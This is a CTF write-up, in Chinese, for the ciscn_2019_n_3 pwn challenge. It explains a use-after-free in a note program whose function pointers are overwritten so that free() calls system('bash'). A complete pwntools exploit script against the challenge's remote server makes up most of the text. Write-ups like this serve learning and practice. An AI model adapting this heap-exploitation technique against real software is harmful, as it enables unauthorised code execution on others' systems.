CISCN_2019
ciscn_2019_n_3
保护
ida
del
dump
解题思路:
uaf漏洞。程序new之前先malloc了0xC的chunk,用来存放 print 和 free 指针
- 1、直接写入数值
- 2、写入一个指向string的chunk指针
1 2
| add(0,2,'aaaa',0x10) add(1,1,'',0x10)
|
根据 fastbin FILO 的特性,执行 free(0)、free(1) ,再new一个string类型,便可以修改 free 指针为 system_plt,同时 string 指针的最后一个字节会被修改为 \n (0x0a),就刚好指向了 print 指针处,把这个地方修改为 bash。执行 free(0) -> system(‘bash’),达成getshell
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| from pwn import * from LibcSearcher import * import time, sys, base64
context.os = 'linux' context.arch = 'amd64' context.log_level = 'debug'
p = remote('node3.buuoj.cn',26908)
elf = ELF('./ciscn_2019_n_3')
sys_addr = elf.plt['system']
def add(index,Type,content,length=0): p.sendlineafter('CNote > ','1') p.sendlineafter('Index > ',str(index)) p.sendlineafter('Type > ',str(Type)) if Type == 2: p.sendlineafter('Length > ',str(length)) p.sendlineafter('Value > ',content) else: p.sendlineafter('Value > ',str(length))
def free(index): p.sendlineafter('CNote > ','2') p.sendlineafter('Index > ',str(index))
def show(index): p.sendlineafter('CNote > ','3') p.sendlineafter('Index > ',str(index))
add(0,2,'bbbb',0x10) add(1,1,'a',0x10)
free(0) free(1)
add(2,2,'bash'+p32(sys_addr),0xc)
free(0)
p.interactive()
|